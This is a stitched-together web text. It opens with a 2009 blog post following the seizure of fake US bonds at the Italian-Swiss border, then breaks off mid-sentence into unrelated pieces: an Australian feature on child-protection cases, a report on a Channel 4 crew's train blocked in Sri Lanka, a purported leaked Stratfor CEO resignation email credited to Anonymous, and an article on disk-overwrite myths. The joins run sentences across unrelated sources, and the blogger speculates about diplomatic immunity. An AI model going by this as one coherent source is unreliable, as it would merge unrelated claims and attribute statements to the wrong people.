June 11th, 2009
UPDATE: 11: New York Times Finally Reports That the Japanese Men Were Released
This article contradicts itself.
“…Although the Guardia di Finanza suspected the bonds were false…” STOP.
The Japanese men should then be in custody.
Let’s continue:
Italian law does not call for the criminal arrest of persons found to be taking funds without permission to another country. It might have been another matter if the police had determined immediately that the bonds were false.
Let’s boil this down:
“…Although the Guardia di Finanza suspected the bonds were false…” the Japanese men, “were released after being stopped.”
Now, get this: The men were held for many hours or days before being released. How do we know? Look at this:
“The men were questioned, but not arrested,” said Naoki Oyakawa, an official at the Japanese consulate in Milan, which contacted judicial officials in Como after reading about the seizure in the Italian papers.
The Japanese consulate learned of the incident from reporting in the Italian media. How long had the men not been under arrest at that point? Then, an official at the Japanese consulate in Milan contacted officials in Como. The Japanese men were released.
In summary:
Japanese men detained – Italian authorities suspect fake bonds – Japanese men should have been placed under arrest pending investigation – But instead, Italian authorities are contacted by someone at the Japanese consulate in Milan – Japanese men released.
I don’t know if this is what happened, but this is what it sounds like to me: Diplomatic Immunity:
Diplomatic immunity is a form of legal immunity and a policy held between governments, which ensures that diplomats are given safe passage and are considered not susceptible to lawsuit or prosecution under the host country’s laws (although they can be expelled).
Via: New York Times:
Ever since two middle-aged men with Japanese passports were caught in Italy this month trying to smuggle a purported $134.5 billion in United States government bearer bonds into Switzerland, the Internet has been abuzz with theories.
Was the Japanese government, or some other creditor nation, secretly trying to dump Treasury bonds to drive down the value of the dollar? Had the Italian mafia stolen the equivalent of 1 percent of the American gross domestic product, using the paper, which supposedly was instantly convertible into cash, to run a giant scam?
Adding spice was the whole Bond — James Bond — aspect of the tale. A crowded customs checkpoint near the Alps; two men traveling on a local train, professing that they had nothing to declare; and a false-bottom suitcase containing United States government bonds made out in stratospheric denominations.
In all, the Italian financial police and customs guards confiscated 249 paper bonds, each supposedly worth $500 million, and 10 bonds with a face value of $1 billion each.
Too bad the bonds were fake.
“The whole thing is a total fraud,” Stephen Meyerhardt, a spokesman for the Treasury Department, said Thursday. “They don’t look anything like real securities, which in any case were never issued in any of those denominations.”
The highest denomination ever issued by the Treasury Department was $10,000, he said. The Italian financial police claimed some of the paper was “Kennedy bonds” from the 1930s, but no such bonds ever existed. And the total of Treasury bearer bonds still outstanding is a mere $105 million; the Treasury has been issuing bonds in electronic form since 1986.
But none of this has stopped the rumor mill from grinding away. After reports of the seizure began to trickle out of Italy, the blogosphere sprang into action, the ponderings fueled by suspicions that the mainstream media was willfully ignoring the tale.
The story took on greater life after Italian authorities — who have refused to talk about the scandal — declined to declare the bonds fakes until they were examined by Washington. After all, although the Guardia di Finanza suspected the bonds were false, if they were not, the Italian treasury stood to profit from a law that permits the government to pocket up to 40 percent of the total value of cash or securities smuggled into the country over the legal export limit, which is 10,000 euros.
Repeated telephone calls to the prosecutors’ office in Como, Italy, that is handling the investigation were not returned.
Darrin Blackford, a spokesman for the United States Secret Service, which was contacted by the Italian financial police and the prosecutor’s office to determine the “legitimacy of the seized financial instruments,” said that his agency had verified the bonds were “fictitious instruments and were never issued by the United States government.”
Col. Rodolfo Mecarelli, the provincial commander of the financial police in Como, said the investigations were focused on “understanding who these men were and where they were from.”
Or where they might have been going. “Switzerland may not have been their final destination,” he said in a recent interview. “They could have taken a plane anywhere.”
Also unknown are the whereabouts of the two men, who were released after being stopped in early June. Italian law does not call for the criminal arrest of persons found to be taking funds without permission to another country. It might have been another matter if the police had determined immediately that the bonds were false.
“The men were questioned, but not arrested,” said Naoki Oyakawa, an official at the Japanese consulate in Milan, which contacted judicial officials in Como after reading about the seizure in the Italian papers.
He said the two men had valid Japanese passports, but he would not elaborate further on their identities. “We don’t know where they are now,” he said. “We have had no contact with the two men. They have not asked us for our help.”
What the bonds were for remains unclear. “It’s not the sort of thing that you can just go into a bank and convert,” said Colonel Mecarelli. “But they may have been useful to guarantee business deals among people who don’t use cash.”
Agencies that deal with financial crimes, including Europol, declined to comment while the Italian investigation was still under way.
The Treasury Department says it is stumped, too.
“I can’t speak to the motives of the person or persons who tried to do this,” Mr. Meyerhardt said. “I would guess that they were trying to find someone foolish enough to buy the securities for real money.”
—End Update—
UPDATE 10: ACCORDING TO MAINICHI SHIMBUN NEWS, THE JAPANESE MEN HAVE BEEN RELEASED BY THE ITALIAN AUTHORITIES; THEIR WHEREABOUTS ARE UNKNOWN
Financial Times Alphaville and Joe Weisenthal on Clusterstock linked to a 16 June 2009 article in the Japanese language publication, Mainichi Shimbun, that indicated that the Japanese men involved with this bond situation have been released by the Italian authorities without being charged with any crime.
I requested Japanese to English translations from Cryptogon readers. I received four independent translations. They all contain essentially the same information, the main point being that, YES, the Japanese men were released by the Italian authorities. According to the information below, because the men were not caught using the fake bonds in the commission of fraud, even though the bonds were fake, the men were released without charge.
Let that sink in for a moment…
Oh sure. Get caught trying to enter Switzerland with a load of fake bonds and see if you walk out of jail several days later. I wouldn’t count on it, but these Japanese guys had a get-out-of-jail free card, and now they’re gone.
This story continues to fester and mutate. I’ll keep an eye on it.
Many thanks to Cryptogon readers GB, K, T and P. GB and P produced the cleanest English translations of the Mainichi Shimbun article. I will post those below.
GB’s translation:
Italy: Are the 13 trillion yen worth of bonds forgeries? Two Japanese held on suspicion of smuggling are released without penalty
[Como (northern Italy)] Two Japanese men on June 3 were detained by Italian authorities trying to carry a total of 134 billion dollars (approx. 13 trillion yen) worth of U.S. bonds from Italy into Switzerland. By June 15 investigative work by the Mainichi Shinbun determined that the bonds were likely to be forgeries. And it turns out that in early April of this year there was another incident of seized bonds that appeared to involve Japanese. Seeing that there is systematic involvement including Japanese behind these successive cases of forged bonds of “colossal value,” Italian Financial Police and the Como Public Prosecutor’s Office are investigating.
The Como PPO is currently liaising with the American Embassy in Rome to look into the seized bonds. According to the concerned persons, it is highly likely that the U.S. bonds and Kennedy bonds that the two persons were in possession of do not exist in denominations of such high value and such dates of issue. By Italian law, if the bonds were genuine, the two persons would be subject to a massive fine for failure to declare the export of the bonds; in the case of forged bonds, however, if the bonds are not used or displayed, no punishment is applicable. So the two detained men were released after questioning. Apparently the Japan Consulate General in Milan does not know the current whereabouts of the two men.
In the incident of April this year, an Italian man tried to carry forged Japanese treasury bonds worth a total of 20 billion dollars into Switzerland, on the request of a Japanese person. The bonds were seized by the Italian Financial Police.
Mainich Shinbun June 16, 2009. Tokyo evening edition
P’s translation:
Italy: The 13 trillion Yen in bonds are fakes? The 2 Japanese held for attempting to smuggle them out have been released without charge
Como (Northern Italy). In March of this year, the Italian authorities took into custody two Japanese nationals for trying to bring from Italy into Switzerland U.S. securities certificates worth $134 billion (about 13 trillion yen) in total. By the 15th the Mainichi Newspaper had ascertained that there was a high possibility these certificates were forgeries. In addition, we have confirmation of another case from early April wherein a Japanese national was allegedly involved with other forged securities seized by authorities. The Italian financial police and the Como public prosecutor’s office have successively opened investigations into whether lurking behind these fradulent certificates priced at vast sums the activities of Japanese nationals is being organized at a higher level.
The same public prosecutor’s office investigated the seized securities in co-operation with the American embassy in Rome. According to those involved, in all likelihood the U.S. treasury bonds and Kennedy bonds that the two were carrying are not real. By Italian law, the two would have been charged with failing to declare the bonds upon importation and subjected to enormous fines had the bonds been real, but because the bonds were fakes and they neither attempted to execute or present them to anyone, they cannot be charged and were released after questioning. The Japanese consulate-general in Milan stated that they do not know the whereabouts of the two released from custody.
As for the incident from early April, the Swiss financial police had seized forged Japanese treasury bonds with a face value of $20 billion, which an Italian man had tried to bring into Switzerland at the behest of a Japanese person.
—End Update—
UPDATE 9: “Kennedy Bonds” Included Images of the Space Shuttle
Woops.
Via: Reuters:
A purported $134 billion in U.S. government bearer bond certificates seized by police near the Italian-Swiss border are fake, the U.S. Treasury said on Friday.
“Based on the photograph we’ve seen online, they are clearly fake. And not even good fakes,” said Stephen Meyerhardt, a spokesman for the Treasury’s Bureau of the Public Debt.
He added that there is only $105 million in Treasury bearer bond securities outstanding, so the $134 billion amount seized far exceeds the universe of outstanding securites.
The Treasury’s determination confirmed the suspicions of Italy’s Guardia di Finanza, or tax police, who seized the bond documents in early June from two Japanese nationals at the Chiasso rail station in northern Italy, close to the border with Switzerland.
The bonds comprised 249 “Federal Reserve” bonds of $500 million nominal value each and 10 “Bond Kennedy” with a $1 billion nominal value, the tax police said June 4 in a statement.
A senior tax police officer said Italian authorities also were checking whether the two travelers’ Japanese documents are genuine.
In the last two years, Italian authorities have seized some $800 million of U.S. bonds in the Como area in northern Italy.
Meyerhardt said U.S. government investigators believe that the seized bond forgeries were made using commercial photo enhancement software to alter the image of a $100 bill to increase the amount into millions or billions and add what appear to be interest coupons.
Another U.S. official said the seized bonds were purported to be issued during the Kennedy administration in the early 1960s, but the certificates showed a picture of a space shuttle on it — a spacecraft that first flew in 1981. Some of the bonds were purportedly issued in a $500 billion denomination that never existed.
The official, who spoke on background because he was not authorized to discuss specifics of the case, said that scam artists, rather than trying to exchange fake bearer bonds directly for cash, will sometimes try to use them as fraudulent collateral for loans.
The Treasury frequently uncovers scams involving bearer and other securities issued in the 1930s and 1940s. Images of some of these counterfeit bonds appear on a Treasury website aimed at combating fraud, here.
The U.S. Secret Service, which polices counterfeiting of U.S. currency, is assisting Italian authorities in tracing the source of the fake bonds, said Ed Donovan, a spokesman for the agency.
The forgery determination came a day after the Treasury warned U.S. banks against the potential for increased currency counterfeiting activity and large cash transactions by North Korea in an effort to evade U.N. sanctions aimed at cutting off financing for Pyongyang’s nuclear weapons and missile programs.
—End Update—
UPDATE 8: The Mafia Did It?
Well, that’s convenient…
Something weird is happening because nobody seems to be able to say:
1. The names of the suspects
2. The nationality of the suspects
3. Oh yeah, where are the suspects now?
Remember, the initial press release from the Italian authorities emerged on 4 June.
On one level, yes, it’s fraud. But on another level: What is it about fake bonds and Switzerland? This is a persistent theme.
Via: Financial Times:
One summer afternoon, two “Japanese” men in their 50s on a slow train from Italy to Switzerland said they had nothing to declare at the frontier point of Chiasso.
But in a false bottom of one of their suitcases, Italian customs officers and ministry of finance police discovered a staggering $134bn (€97bn, £82bn) in US Treasury bills.
Whether the men are really Japanese, as their passports declare, is unclear but Italian and US secret services working together soon concluded that the bills and accompanying bank documents were most probably counterfeit, the latest handiwork of the Italian Mafia.
Few details have been revealed beyond a June 4 statement by the Italian finance police announcing the seizure of 249 US Treasury bills, each of $500m, and 10 “Kennedy” bonds, used as intergovernment payments, of $1bn each. The men were apparently tailed by the Italian authorities.
The mystery deepened on Thursday as an Italian blog quoted Colonel Rodolfo Mecarelli of the Como provincial finance police as saying the two men had been released. The colonel and police headquarters in Rome both declined to respond to questions from the Financial Times.
“They are all fraudulent, it’s obvious. We don’t even have paper securities outstanding for that value,’’ said Mckayla Braden, senior adviser for public affairs at the Bureau of Public Debt at the US Treasury department. “This type of scam has been going on for years.’’
The Treasury has not issued physical Treasury bonds since the 1980s – they are handled electronically – though they still issue savings bonds in paper format.
In Washington a US Secret Service official said the agency, which is working with the Italian authorities, believed the bonds were fake.
Officials in Tokyo were nonplussed. Takeshi Akamatsu, a Japanese foreign ministry press secretary, said Italian authorities had confirmed that two men carrying Japanese passports had been questioned in the bond case but Tokyo had not been informed of their names or whereabouts.
“We don’t know where they are now,” Mr Akamatsu said.
Italian officials, while pointing out that hauls of counterfeit money and Treasury bills were not unusual, were stunned by the amount involved. Investigators are looking into the origin and destination of the fakes.
Italian prosecutors revealed last month that they had cracked a $1bn bond scam run by the Sicilian Mafia, with the alleged aid of corrupt officials in Venezuela’s central bank. Twenty people were arrested in four countries.
The fake bonds were to have been used as collateral to open credit lines with banks, Reuters news agency reported. The Venezuelan central bank denied the accusations.
—End Update—
UPDATE 7: U.S. Says Treasury Bonds Seized in Italy Are ‘Clearly Fakes’
I made the correct call five days ago, but here’s confirmation.
Via: Bloomberg:
U.S. government bonds found in the false bottom of a suitcase carried by two Japanese travelers attempting to cross into Switzerland are fake, a Treasury spokesman said.
“They’re clearly fakes,” Stephen Meyerhardt, a spokesman for the U.S. Bureau of the Public Debt in Washington, said yesterday. “That’s beyond the fact that the face value is far beyond what’s out there.”
Italy’s financial police last week said they asked the U.S. Securities and Exchange Commission to authenticate the seized bonds, with a face value of more than $134 billion. Colonel Rodolfo Mecarelli of the Guardia di Finanza in Como, Italy, said the securities, seized in Chiasso, Italy, were probably forgeries.
Meyerhardt said Treasury records show an estimated $105.4 billion in bearer bonds have yet to be surrendered. Most matured more than five years ago, he said. The Treasury stopped issuing bearer bonds in 1982, Meyerhardt said.
Had the notes been genuine, the pair would have been the U.S. government’s fourth-biggest creditor, ahead of the U.K. with $128 billion of U.S. debt and just behind Russia, which is owed $138 billion.
According to the Italian authorities, the seized notes included 249 securities with a face value of $500 million each and 10 additional bonds with a value of more than $1 billion, as well as securities purported to be “Kennedy” bonds. Meyerhardt said no such securities exist.
Nowadays, Treasury securities are issued electronically. The U.S. started converting all of its marketable debt from paper to electronic form in the 1980s.
—End Update—
UPDATE 6: Documents Show Issue Date of 1934: This Is Fraud
According to Bloomberg, the purported securities were issued in 1934:
Italy’s financial police said they asked the U.S. Securities and Exchange Commission to authenticate U.S. government bonds found in the false bottom of a suitcase carried by two Japanese travelers attempting to cross into Switzerland. The bonds, with a face value of more than $134 billion, are probably forgeries, Colonel Rodolfo Mecarelli of the Guardia di Finanza in Como, Italy, said today. If the notes are genuine, the pair would be the U.S. government’s fourth-biggest creditor, ahead of the U.K. with $128 billion of U.S. debt and just behind Russia, which is owed $138 billion. The seized notes include 249 securities with a face value of $500 million each and 10 additional bonds with a value of more than $1 billion, the police force said on its Web site. Such high denominations would not have existed in 1934, the purported issue date of the notes, Mecarelli said. Moreover, the “Kennedy” classification of the bonds doesn’t appear to exist, he said. The bonds were seized in Chiasso, Italy. Mecarelli said he expects a determination from the SEC “within a few days.”
1934… 1934… It was registering faintly in the back of my brain somewhere. But why?
I posted about a similar scam in 2005. (You know that you’ve been running a blog for a long time when you go looking for information and find it on your own site from four years back, but forgot that you posted it in the first place.)
Since the original Philippine Star article is long gone, I’ll bring it forward from my archives:
$3-trillion fake federal bank notes seized from 2 Britons
By Evelyn Macairan
The Philippine Star 04/22/2005 The National Bureau of Investigation (NBI) announced yesterday the arrest of two British nationals who were caught in possession of $3-trillion fake US federal bank notes in an entrapment operation. Charges of forgery and illegal possession of bank notes were filed against Paul Edward John Flavell and Sam Beany, both residents of the CEO Apartments located on Jupiter street, Makati City. Manuel Eduarte, head agent of the NBI Anti-Graft Division said charges against the suspects were filed before the Makati City Prosecutor’s Office last April 15. The two were granted temporary liberty after they each posted P16,000 bail last Tuesday. However, NBI Director Reynaldo Wycoco said he has coordinated with the Bureau of Immigration and requested that the two suspects be included in its watchlist. Two of their alleged cohorts, also British nationals, have yet to be apprehended by lawmen. They were identified as Zeki Mehmet Bayram and Peter Wittkamp. The NBI recovered from Flavell and Beany a metal scroll and fake US federal bank reserves totaling $3 trillion, which were contained in an iron chest. There were 13 boxes in the chest, each containing 50 reserve notes that amounted to $1 billion. Eduarte said the notes were definite forgeries since the biggest amount the US government came out with was in the denomination of $10,000. The counterfeit bonds were supposedly manufactured in 1934. In a report submitted by the NBI-AGD to Wycoco, international courier company DHL Philippines informed their unit last April 14 that suspects Flavell and Beany were about to ship a cargo of fake US federal reserves to Zurich, Switzerland. They paid P53,967.24 as shipment fee. Eduarte’s agents confirmed that the suspects went to the DHL office located at Pasong Tamo street in Makati City. The two suspects allegedly paid the shipment fee and were asked to open the iron chest for inspection. Upon seeing that the contents were similar to the items they seized from a previous operation, the NBI agents accosted them.
There have been several like this over the years. See:
Customs Displays Phony 1930s Cash, Bonds:
They stink. Literally and figuratively. Moldy bonds and bills that con artists used to try to bilk seniors were on display in downtown San Diego yesterday, the loot from two recent seizures by federal fraud cops. The bonds and bills are dated 1934 and bear incredible denominations – $500,000, $100 million, $500 million – and portraits of former President Ulysses S. Grant and one-time Treasury Secretary Salmon P. Chase. One set was seized last month in a San Diego-bound Federal Express shipment from the Philippines, agents said. The moldy bonds were hidden among pages of a photo album. Four other sets were turned over this summer by a lawyer who said he got them from an El Cajon man indicted in Indiana on fraud charges, said Daniel Burke, who heads a fraud task force with U.S. Immigration and Customs Enforcement. “Absent the story, absent the sales pitch, a normal person should believe they’re bogus,” he said. Oh, the story. That’s the key to understanding how crooks use these documents. In both of these cases, they told potential victims that the bonds recently were recovered by Filipino tribes from a 1930s-era, CIA-owned DC-10 airplane that crashed, killing all aboard, Burke said. The U.S. government was sending the bonds in a secret effort to help the Chinese government, the story goes. Only people with connections can cash the bonds, and investors can buy in for a few thousand dollars, getting three to five times their money back. And, because of the secrecy, the government will deny their authenticity. A little common sense reveals the lie behind the story. DC-10 jets didn’t exist in the 1930s. Or the CIA. And the U.S. government never printed bonds or money in such amounts. “People don’t use their common sense,” Burke said. There are other clues. ZIP codes – printed on some of the bonds – didn’t exist in 1934, and Grant appears on $50 bills, not $500 million. Chase appears on a $10,000 bill used exclusively by banks that is no longer in production. The largest currency ever printed by the United States was for $100,000, again used only by banks. The $100 bill is the largest made today. Forensic scientists haven’t examined the bonds and bills displayed yesterday but have determined that similar documents were produced on computer printers within the past 10 years, he said. Tricksters tried to make them look old by getting them wet and moldy. “All part of the scam,” said Michael Unzueta, acting special agent in charge of the San Diego office of Immigration and Customs Enforcement. No local victims have been identified and no arrests have been made directly related to the bonds and bills displayed yesterday, the agents said, requesting victims call authorities. Burke, who investigated a case involving bogus bonds while working in Denver several years ago, said cheats target senior citizens with fat retirement accounts. The Denver case, which involved a sting operation, fell apart because the sellers eventually offered the bonds as “historical documents” not guaranteed by the federal government. Jurors couldn’t agree that a crime had taken place. In the local cases, the San Diego man who was to receive the album with the hidden bonds has agreed to cooperate with authorities and has not been arrested, Burke said. Orin Aune, the El Cajon man who authorities say gave the lawyer four boxes with the other bonds, is being prosecuted in Indiana on fraud charges in a case involving bogus $100 million bills. According to the indictment, Aune passed himself off as the sultanate to Sula and North Borneo and the deputy minister of finance for the non-existent country. He also took part in a conference call with a potential investor. Federal officials say they get calls about the bonds most frequently from the Far East and cite three convictions in the United States in cases involving the fake bonds. They also note a 2002 appeals court decision in a lawsuit by the holders of some of the bonds against the Federal Reserve Bank of Chicago, which refused to cash the bonds. Justices called the claims “preposterous,” noting the national debt in 1934 was $28 billion, and say the reason few scammers have been prosecuted is “because no one could possibly be deceived by such obvious nonsense.”
U.S. Bond Scammer Jailed for Six Years:
A former Scotland Yard scientist who tried to perpetrate the world’s biggest fraud by authenticating $US2.5 trillion ($3.53 trillion) worth of fake US Treasury bonds has been jailed for six years. Graham Halksworth, 69, claimed that the bonds had been secretly issued by the US government in 1934 to help nationalists undermine the communist revolution in China. But, he said, the aircraft carrying them had crashed in the Philippines, where local tribesmen had discovered the 22 cases stamped with the American golden eagle and kept them for over 60 years. Halksworth said a tribal elder had given them to Michael Slamaj, a former soldier in Yugoslavia, and they were brought to the vaults |
because she's a vulnerable woman, he will target her to get to the kids."
But she said women in relationships with men who have been convicted of child offences don't automatically lose their children.
Ms Hayden said safety plans could be put in place to protect children so that the women agree not to see the men in their own home when the children are around — and sometimes relatives, like grandmothers or aunts, are included in the plan to protect the children.
"It's giving them choice and control but it really is important to put the kids at the centre of that and hear from them about how they feel about the new boyfriend."
This is a real case from the Department of Communities, Child Safety and Disability in Queensland.
4. Jackson
You are asked to visit 12-year-old Jackson at home after his school reported he repeatedly arrives with no lunch, falls asleep in class and wears dirty clothes.
He has missed 10 of the last 40 days of school. Jackson's mother Amy has refused requests from teachers to discuss the issue.
When you go to the house, you learn that Amy is in very poor health, suffering from rheumatoid arthritis, osteoporosis and extreme obesity. She has recently had pneumonia and still needs oxygen.
Jackson is his mother's primary carer and he does all the cooking, shopping and cleaning. Amy regularly runs out of money between fortnightly welfare payments.
Jackson's uncle was recently helping out but has moved interstate and there are no other family members to help.
You observe that Jackson has a very strong relationship with his mother but he is very concerned about her health and has started having nightmares.
The outcome
Jackson was not taken from Amy's care but the family was referred to a voluntary government support service that helps build on family strengths and improve family relationships.
Child protection authorities receive more than 350,000 allegations of child abuse every year. Around one in six of all allegations result in the children being put into the foster care system.
What the experts say
Social worker Paula Hayden said mothers, unless they were drug-addicted, often told child protection workers that they were worried about their children and wanted the best for them but needed help at home.
She said the family would be given support services and it was also important to get the school to support Jackson and his mother and enlist the support of other community members.
This is a real case from the Department of Communities, Child Safety and Disability in Queensland.
5. James
Local police ask you to attend a public housing property in the outer suburbs of Adelaide.
While attending a domestic dispute, the police found four-year-old James after forcing their way into a bedroom. James was found locked in a room, sitting in a small clearing on the bare floor, naked and holding a plate.
When you arrive, the house is squalid, smells of rotting food and every surface is covered in rubbish. James is malnourished (weighing little more than a toddler), shivering with cold and is developmentally delayed.
There are other empty plates near James and a dried brown liquid on the floor.
His 22-year-old mother Fiona and father Gary appear to be drunk or under the influence of drugs.
Further investigation reveals that as a child Fiona was neglected by her mother, who eventually died by suicide. Gary grew up witnessing and himself experiencing domestic violence.
The outcome
James was immediately hospitalised and then transferred to a long-term placement with foster carers who had experience in dealing with children with high needs.
Fiona and Gary were charged and sentenced to jail terms.
What the experts say
James's vulnerability was identified even before he was born and there had been three notifications to the Child Abuse Report Line during his life.
But Fiona went to great lengths to avoid accepting help because she feared James would be taken from her.
The family had no support and was very socially isolated.
Social worker Paula Hayden said four key factors that were very dangerous for children were domestic violence, drug and alcohol addiction, mental health issues and cases where there were no services involved.
This was a real case, detailed in the South Australian Child Protection Systems Royal Commission.
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About this story
The names in this story have been changed and case details have been simplified.
Social workers often have a lot more information on the child and their family than is presented here, but there are also cases where the information is limited or wrong and they need to rely on their intuition and experience to make a decision.
Child protection workers have to work out the level of risk to children and also any protective factors, such as an involved grandparent or parents being willing to get help, when they make a decision to remove a child.
The judgement to remove a child is not made by one person but a whole team, sometimes including police and doctors, and ultimately the children's court.
Credits
Reporter: Catherine Hanrahan
Illustrator and designer: Ben Spraggon
Developer: Colin Gourlay
Editors: Matt Liddy and Cristen Tilley
Topics: child-abuse, family-and-children, family, australia
First postedHundreds of protesters have blocked a train taking a Channel 4 News television crew, in Sri Lanka to cover the Commonwealth heads of government meeting, from travelling to the north of the island.
A team of six journalists left their Colombo hotel to catch an early-morning train to the city of Kilinochchi, in the heart of the former conflict zone.
The team had been tailed by Sri Lankan state intelligence agents on to the train. Five hours north of Colombo, in the city of Anuradhapura, a large mob of pro-government demonstrators met then train and then blocked the tracks, preventing the train – which had hundreds of passengers on board – from continuing. Sri Lankan police say that demonstrators have now also blockaded all the stations between Anuradhapura and Kilinochchi.
Protestors blocking train literally in its tracks north at anuradhupura @Channel4News #CHOGM @PresRajapaksa invited us but who formed mob? — bendepear (@bendepear) November 13, 2013
The crowd, which accused Channel 4 of accepting funds from the proscribed Liberation Tigers of Tamil Eelam (popularly known as the Tamil Tigers), demanded that the journalists return to the capital. A stand-off ensued, which has now continued for two hours. The demonstrations come two days before Commonwealth heads of government, including David Cameron, arrive in Colombo for a biennial summit. All protests were banned by the Sri Lankan government in the run-up to the meeting.
‘Free access’
The British high commission in Sri Lanka has been informed of the situation. The editor of Channel 4 News, Ben de Pear, who is on the train, also informed the office of President Mahinda Rajapaksa, who is reported to have personally invited Channel 4 to visit any part of the country.
After publicly stating Sri Lanka a free & peaceful country @PresRajapaksa said “go anywhere”. But a mob of hundreds blocked our train north — bendepear (@bendepear) November 13, 2013
“It would seem entirely contrary to the promise of free access to all parts of Sri Lanka, which the president has repeatedly made,” said Mr de Pear. “I do not know why the authorities do not want us to travel north, but we are hearing reports that families of some of the thousands of people who have disappeared in this country have been held in northern Sri Lanka and are reportedly being assaulted by the military. “All this on the day that the foreign secretary, William Hague, arrives in this country.”
On Tuesday, I questioned the president and asked if he was concerned about the allegations of war crimes that have dogged him and his brother, Gotabaya Rajapaksa, the defence secretary, since the violent end of the civil war four years ago.
This encounter was reported in state-owned newspapers on Wednesday, but the reports misquoted President Rajapaksa as having asked Mr Miller “to visit any part of the country and see for himself the progress made in the post-war period.” On this occasion, the president did not say this.
The senior deputy inspector-general of police in Northern Central Province, Ravi Wijegeinawardena, was informed of the president’s reported invitation when he arrived to request that the Channel 4 team return to Colombo, but he continued to insist that the journalists disembark and turn back.
‘Freedom of expression’
Channel 4 News has reported on the allegations that at least 40,000 Tamila were killed in the final few weeks of the war and on subsequent allegations of serious human rights abuses by Sri Lankan security forces.
Channel 4 has also made and broadcast three documentaries which examined in detail the alleged war crimes by both the Tamil Tigers and government forces. Last week, David Cameron described the latest of these films, No Fire Zone, as “chilling”. He addressed a tweet to President Rajapaksa saying he had “serious questions” to ask him.
The director of No Fire Zone, Callum Macrae, who is among the Channel 4 journalists trapped on the train, said: “The British government made clear that one of the conditions for its attendance at the Commonwealth summit was that the international media be free to do its job.
“The Commonwealth is bound by core values which include respect for democracy, human rights and freedom of expression and it is extraordinary that the host nation and future chair of the Commonwealth is openly flouting every one of those principles.”
Concerned to hear of incident with @Channel4News. Have raised with Foreign Minister Peiris — William Hague (@WilliamJHague) November 13, 2013
Have repeatedly pressed for media freedom throughout #srilanka especially #CHOGM. Urge gov to let journalists report as promised — William Hague (@WilliamJHague) November 13, 2013
For the latest updates on the Channel 4 News team in Sri Lanka, click here.
Follow Jonathan Miller on Twitter.
Follow Ben de Pear on Twitter.
Follow Callum Macrae on Twitter.It is only somewhat appropriate that the announcement of the resignation of Stratfor's CEO would come in the form of a leaked email that once again was intercepted by Anonymous.
Via Anonymous:
From: george.friedman@stratfor.com
To: fred.burton@stratfor.com
Subject: Draft
Date: 2012-02-26 19:02:07
It is with great personal disappointment I have to inform you that I will resign from my position as CEO for Stratfor to immediate effect.
Please rest assured that this decision was not an easy. But in the light of the recent events, especially the release of our company emails by WikiLeaks, I have decided that stepping down is in the best interest of Stratfor and its customer base.
I want to emphasize that this will have no effect on Stratfor's business or its members and we will continue to provide state-of-the-art intelligence services.
Regarding the latest breach, Stratfor is fully in control of the situation However, while I cannot take any personal responsibility for this incident, I still have to admit that mistakes have been made on our side. To be clear: We certainly do not condone any criminal activities by groups like Anonymous or other hackers. This is theft and we will continue to cooperate with law enforcement to bring those responsible to justice. But we must acknowledge that this incident would not have been possible if Stratfor had implemented stronger data protection mechanisms - which will be the case from now on. Indeed we will immediately move to implement the latest, and most comprehensive, data security measures.
While I played no role in our technical operations, as the company's CEO I do accept full responsibility thus will resign from my position effective immediately.
Again, my sincerest apologies for this whole unfortunate incident.
Sincerely,
George FriedmanThe Urban Legend of Multipass Hard Disk Overwrite and DoD 5220-22-M
Multipass disk overwrite and the “DoD 5220-22-M standard 3-pass wipe” are, at best, urban legends. At worst, they are a waste of time and electricity.
Blame Gutmann...
In 1996, Peter Gutmann presented a paper [GUT96] at a USENIX Security Symposium in which he claimed that overwritten data could be recovered using magnetic force microscopy (MFM) and scanning tunneling microscopy (STM) techniques.
This seminal paper alerted many people to the possibility that data which had been overwritten on an HDD could be recovered using such techniques.
Lacking other research in this area, and despite a lack of corroboration, many of those people adopted Gutmann’s conclusions and recommendations and have ever since believed that multiple overwrites are required to effectively render remnant data irretrievable.
Gutmann’s ultimate recommendation was that no fewer than 35 (!) overwrite passes should be performed to ensure that the original data cannot be retrieved.
However, in the context of current HDD technology, there are several problems with Gutmann’s work:
Gutmann focused on two disk technologies — modified frequency modulation and run-length-limited encoding — that rely on detection of a narrow range of analog signal values and have not been used for HDDs in the last 10-15 years. Modern HDDs use various kinds of partial-response maximum-likelihood (PRML) sequence detection that uses statistical techniques to determine the maximum likelihood value associated with multiple signal detections [WRIG08].
Further, areal density (density of data per square unit of area, the product of bit-per-inch linear density and track-per-inch track density) has increase by at least three orders of magnitude [SOBE04] [WIKI08] since the publication the Gutmann paper. To achieve such densities, head positioning actuators have become significantly more accurate and repeatable.
Moreover, Gutmann’s work paper was theoretical, and I am not aware of any practical validation that data could be recovered using the techniques he described.
Gutmann’s work has resulted in the formation of an urban legend: that the US government requires a 3-pass overwrite and specifies it in DoD 5220-22-M.
What about those often-cited US Government standards?
There are many HDD overwrite standards from which to choose [BLAN08]. Among those that are often cited in both procurement and product specifications are DoD 5220.22-M and NSA 130-1. Less often cited, but more current, is NIST SP 800-88.
DoD 5220-22-M
DoD 5220-22-M is the National Industrial Security Program Operating Manual (NISPOM), which a broad manual of procedures and requirements for government contractors handling classified information.
The 1997 version of this document [DOD_97] specified that rigid magnetic disks should be sanitized by writing some character, its complement, and then a random character. However, this “algorithm” was removed from subsequent issues of the NISPOM.
Indeed, the entire table of clearing and sanitization methods is no longer present in the current issue of NISPOM [DOD_06].
NSA 130-1
NSA 130-1 may well have specified a clearing or sanitization procedure by writing a random character, another random character, and then a known value. However, I am not able to find a copy of NSA Manual 130-1 or 130-2 (perhaps they were classified documents).
However, the current issue of the NSA/CSS Storage Device Declassification Manual [NSA_07] (Manual 9-12, which supersedes Manual 130-2) does not specify any overwriting methods for HDDs, and instead requires degaussing or physical destruction.
It is not clear to me if the DoD and NSA no longer recommend overwrite methods because they are ineffective or because their effectiveness as a single technique is uncertain when applied to a variety of HDD technologies.
NIST Special Publication 800-88
The National Institute of Standards and Technology has a special publication “Guidelines for Media Sanitization” that allows HDD clearing by overwriting media “using agency-approved and validated overwriting technologies/methods/tools”.
For purging, it specifies the Secure Erase [UCSD10] function (for ATA-based devices), degaussing, destruction, or the rather vague “purge media by using agency-approved and validated purge technologies/tools”.
The original issue of SP 800-88 [NIST06-1] claimed that “Encryption is not a generally accepted means of sanitization. The increasing power of computers decreases the time needed to crack cipher text and therefore the inability to recover the encrypted data can not be assured”, but that text was removed from SP 800-88 Revision 1 which was issued one month later.
Most interestingly, SP 800-88 states that “NSA has researched that one overwrite is good enough to sanitize most drives”. Unfortunately, the NSA’s research does not appear to have been published for public consumption.
Current Research
